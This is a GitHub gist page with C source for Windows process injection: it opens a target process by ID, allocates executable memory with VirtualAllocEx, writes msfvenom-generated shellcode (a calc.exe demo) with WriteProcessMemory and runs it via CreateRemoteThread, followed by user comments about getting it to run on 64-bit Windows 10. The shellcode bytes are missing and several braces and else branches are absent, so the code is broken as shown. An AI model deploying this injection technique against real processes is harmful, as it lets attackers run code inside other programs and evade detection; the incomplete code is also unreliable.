Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
#include <windows.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv){
//msfvenom -p windows/exec cmd=calc.exe EXITFUNC=thread -f c -v shellcode
int process_id = atoi(argv[1]);
char shellcode[] = \
HANDLE process_handle;
DWORD pointer_after_allocated;
process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
if (process_handle==NULL)
puts("[-]Error while open the process\n");
puts("[+] Process Opened sucessfully\n");
pointer_after_allocated = VirtualAllocEx(process_handle, NULL , sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
puts("[-]Error while get the base address to write\n");
printf("[+]Got the address to write 0x%x\n", pointer_after_allocated);
if(WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, (LPCVOID)shellcode, sizeof(shellcode), 0)){
puts("[+]Running the shellcode as new thread !\n");
//CreateRemoteThread(process_handle, NULL, 0, pointer_after_allocated, NULL, 0, );
CreateRemoteThread(process_handle, NULL, 100,(LPTHREAD_START_ROUTINE)pointer_after_allocated, NULL, NULL, 0x50002);
puts("Not Injected\n");

This comment has been minimized.

Copy link

hasasnh commented Mar 16, 2019

Hello Did you tested this code on windows 10 64 bit cause it's not working with me , the code is not runing the calc



This comment has been minimized.

Copy link
Owner Author

mhaskar commented Mar 19, 2019

@hasasnh : Yes I already tested it on windows 10 x64 bit , please note that you need to compile the code using x64 bit compiler and use a x64 bit shellcode to get it executed correctly


This comment has been minimized.

Copy link

Ch4rk3es commented May 5, 2020

hello , why the code generate this error ? Conversion from LPVOID to DWORD

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.